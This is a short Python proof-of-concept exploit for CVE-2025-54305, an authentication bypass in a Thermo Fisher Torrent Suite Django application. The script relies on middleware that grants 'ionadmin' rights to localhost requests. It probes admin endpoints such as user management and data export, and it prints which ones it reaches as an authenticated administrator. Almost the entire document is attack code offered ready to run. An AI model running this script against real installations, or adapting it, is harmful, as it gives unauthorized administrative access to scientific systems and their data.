CVE-2025-54305

# CVE-2025-54305 PoC - Local Authentication Bypass # Target: Thermo Fisher Torrent Suite Django Application 5.18.1 # Attack Vector: Exploit LocalhostAuthMiddleware by sending requests from localhost import requests import sys def exploit_auth_bypass(target_url): """ Exploit the authentication bypass by sending request from localhost. The LocalhostAuthMiddleware will authenticate as 'ionadmin' when REMOTE_ADDR is 127.0.0.1, 127.0.1.1, or ::1 """ # Since we're exploiting localhost auth bypass, we need to send request # from the target server itself # Example: Direct exploitation from server # curl -k https://target-server:8080/admin # For remote exploitation, this would require additional network manipulation target = target_url or "https://127.0.0.1:8080" # Try accessing admin panel directly endpoints = [ "/admin", "/admin/settings", "/admin/users", "/api/v1/admin", "/admin/data/export" ] for endpoint in endpoints: url = target + endpoint try: # Send request - will be authenticated as ionadmin if from localhost response = requests.get(url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {url}") print(f"[+] Status: Authenticated as ionadmin") print(f"[+] Response length: {len(response.text)} bytes") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Access denied to: {url}") else: print(f"[*] Unexpected response from: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "https://127.0.0.1:8080" print(f"[*] Exploiting CVE-2025-54305 on {target}") print(f"[*] Attempting to bypass authentication via localhost...") exploit_auth_bypass(target)

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